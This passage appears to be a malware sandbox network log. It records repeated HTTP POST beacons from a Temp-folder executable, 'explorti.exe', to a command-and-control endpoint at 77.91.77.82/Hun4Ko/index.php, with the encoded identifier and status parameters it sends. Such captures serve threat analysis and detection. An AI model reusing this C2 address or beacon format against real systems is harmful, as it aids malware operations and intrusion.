Jun 28, 2024 22:32:43.749982119 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:43.977801085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49764	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:44.097984076 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:44.803824902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:44.804548025 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:45.027215958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49765	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:45.144769907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:45.829894066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:45.830815077 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:46.045613050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49766	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:46.161860943 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:46.883670092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:46.884268999 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:47.110117912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49767	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:47.227998018 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:47.939188957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:47.940118074 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:48.167186975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49768	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:48.287852049 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:48.977050066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:48.978208065 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:49.204093933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:49.487068892 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:50.201754093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:50.202510118 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:50.427747011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:50.537394047 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:51.244951963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:51.245812893 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:51.485054970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49771	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:51.597913980 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:52.312807083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:52.313647985 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:52.536325932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49773	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:52.645049095 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:53.347245932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:53.348017931 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:53.566123962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49774	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:53.679130077 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:54.419898033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:54.420614004 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:54.650866032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49775	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:54.773870945 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:55.535527945 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:55.536180019 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:55.754759073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49776	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:55.865639925 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:56.614911079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:56.615673065 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:56.845608950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49777	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:56.959446907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
